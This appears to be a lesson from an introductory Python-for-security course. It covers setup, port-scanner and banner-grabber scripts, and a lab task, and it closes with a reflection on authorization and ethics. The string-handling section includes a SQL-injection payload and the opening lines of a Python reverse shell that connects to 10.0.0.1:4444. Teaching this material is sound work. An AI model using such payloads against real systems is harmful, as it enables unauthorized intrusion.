# Linux (Ubuntu/Debian)
sudo apt update
sudo apt install python3 python3-pip python3-venv python3-dev build-essential
# Verify installation
python3 --version # Should show 3.10 or higher
pip3 --version
# macOS (Homebrew)
brew install python3
# Windows (if not using WSL)
# Download from python.org and check "Add Python to PATH"
Step 3: Virtual Environments (CRITICAL)
Why virtual environments matter:
Isolate project dependencies (avoid version conflicts)
Prevent system-wide library pollution
Enable reproducible security tool deployments
# Create a virtual environment for security projects
cd ~/security-projects
python3 -m venv venv
# Activate (Linux/macOS)
source venv/bin/activate
# Activate (Windows)
venv\Scripts\activate
# When activated, your prompt shows (venv)
# Now pip installs only affect THIS project
# Install packages
pip install requests scapy pycryptodome
# Deactivate when done
deactivate
#!/usr/bin/env python3
"""
Simple TCP port checker
Usage: python3 port_check.py scanme.nmap.org 80
"""
import socket
import sys
def check_port(host, port):
"""
Check if a TCP port is open on a given host.
Args:
host (str): Target hostname or IP address
port (int): Port number to check
Returns:
bool: True if port is open, False otherwise
"""
try:
# Create a TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2) # 2-second timeout
# Try to connect
result = sock.connect_ex((host, port))
sock.close()
# connect_ex returns 0 if successful
return result == 0
except socket.gaierror:
print(f"Error: Could not resolve hostname {host}")
return False
except Exception as e:
print(f"Error: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python3 port_check.py ")
sys.exit(1)
target_host = sys.argv[1]
target_port = int(sys.argv[2])
print(f"Checking {target_host}:{target_port}...")
if check_port(target_host, target_port):
print(f"[+] Port {target_port} is OPEN")
else:
print(f"[-] Port {target_port} is CLOSED")
Run it:
python3 port_check.py scanme.nmap.org 80
python3 port_check.py scanme.nmap.org 12345 # Should be closed
Breaking Down the Code
#!/usr/bin/env python3 - Shebang: tells Linux this is a Python script
"""docstring""" - Documentation explaining what the script does
import socket, sys - Load required modules
def check_port(...) - Function definition with type hints
if __name__ == "__main__": - Only run this if script is executed directly
sys.argv - Command-line arguments (argv[0] is script name)
Example 2: Multi-Port Scanner
Create multi_port_scan.py:
#!/usr/bin/env python3
"""
Multi-port TCP scanner
Scans a range of ports on a target host
"""
import socket
import sys
def scan_port(host, port):
"""Check if a single port is open."""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((host, port))
sock.close()
return result == 0
except:
return False
def scan_host(host, ports):
"""
Scan multiple ports on a host.
Args:
host (str): Target host
ports (list): List of port numbers to scan
Returns:
dict: Dictionary with port numbers as keys, bool as values
"""
results = {}
print(f"Scanning {host} for {len(ports)} ports...\n")
for port in ports:
is_open = scan_port(host, port)
results[port] = is_open
if is_open:
print(f"[+] Port {port:5d} - OPEN")
else:
print(f"[-] Port {port:5d} - CLOSED")
return results
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 multi_port_scan.py [port1 port2 ...]")
print("Example: python3 multi_port_scan.py scanme.nmap.org 21 22 23 80 443")
sys.exit(1)
target = sys.argv[1]
# If ports specified, use them; otherwise use common ports
if len(sys.argv) > 2:
ports_to_scan = [int(p) for p in sys.argv[2:]]
else:
# Default: scan common ports
ports_to_scan = [21, 22, 23, 25, 80, 443, 3389, 8080]
results = scan_host(target, ports_to_scan)
# Summary
open_ports = [p for p, is_open in results.items() if is_open]
print(f"\n[*] Scan complete!")
print(f"[*] Open ports: {open_ports if open_ports else 'None'}")
Test it:
# Scan specific ports
python3 multi_port_scan.py scanme.nmap.org 80 443 8080
# Scan with default common ports
python3 multi_port_scan.py scanme.nmap.org
# Strings are everywhere: logs, payloads, responses
log = "2024-01-18 Failed login from 10.0.0.5"
# Checking content
if "Failed login" in log:
print("Security event detected")
# Splitting
parts = log.split(" from ")
ip_address = parts[1] # "10.0.0.5"
# Formatting
payload = f"' OR '1'='1"
query = f"SELECT * FROM users WHERE username='{payload}'"
print(query) # SQL injection payload
# String methods
upper = "admin".upper() # "ADMIN"
lower = "ADMIN".lower() # "admin"
stripped = " user ".strip() # "user"
# Multiline strings (for exploit code, scripts)
reverse_shell = """
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.0.1",4444))
"""
Control Flow
# If statements
cvss = 9.0
if cvss >= 9.0:
severity = "CRITICAL"
elif cvss >= 7.0:
severity = "HIGH"
elif cvss >= 4.0:
severity = "MEDIUM"
else:
severity = "LOW"
# For loops (scanning, brute-forcing)
ports = [21, 22, 23, 80, 443]
for port in ports:
print(f"Scanning port {port}...")
# Range (generating port numbers)
for port in range(1, 1025): # Scan ports 1-1024
pass # (scan logic here)
# While loops (retry logic)
attempts = 0
max_attempts = 3
while attempts < max_attempts:
# Try connection
attempts += 1
Functions and Modules
# Function definition
def banner_grab(host, port):
"""
Grab service banner from a port.
Returns:
str: Banner text or None if failed
"""
try:
sock = socket.socket()
sock.settimeout(2)
sock.connect((host, port))
banner = sock.recv(1024).decode().strip()
sock.close()
return banner
except:
return None
# Using the function
banner = banner_grab("scanme.nmap.org", 22)
if banner:
print(f"Banner: {banner}")
# Importing modules
import socket
from socket import AF_INET, SOCK_STREAM # Specific imports
# Your own modules
# If you have utils.py in same directory:
# import utils
# utils.scan_port("192.168.1.1", 80)
Objective: Build on the basic port scanner with real features.
Requirements:
Create lab1_scanner.py
Accept target host and port range from command line
Implement timeout handling (configurable)
Add progress indicator (e.g., "Scanning port 80/1024...")
Display elapsed time at completion
Save results to scan_results.txt
Example usage:
python3 lab1_scanner.py scanme.nmap.org 1 1024
Expected output:
Scanning scanme.nmap.org ports 1-1024...
[1/1024] Scanning port 1... CLOSED
[2/1024] Scanning port 2... CLOSED
...
[80/1024] Scanning port 80... OPEN
...
[443/1024] Scanning port 443... OPEN
...
Scan complete in 45.23 seconds
Open ports: [22, 80]
Results saved to scan_results.txt
Part 3: Banner Grabber (30 minutes)
Objective: Extract service information from open ports.
Aligned to LO1 (Tool Development) and Professional Ethics
Write 200-300 words answering this prompt:
You've just written your first port scanner—a tool that can identify open services on remote
systems. This same capability is used by both defenders (finding vulnerabilities before attackers
do) and attackers (reconnaissance before exploitation).
Reflect on the dual-use nature of security tools:
What distinguishes legitimate security research from malicious hacking?
Why is authorization (written permission) critical before scanning any system?
How will you ensure your Python skills are used ethically in your career?
What good looks like: You recognize that technical skills are amoral—their impact
depends entirely on intent and authorization. You understand that "white hat" work requires explicit
permission, transparency, and responsible disclosure.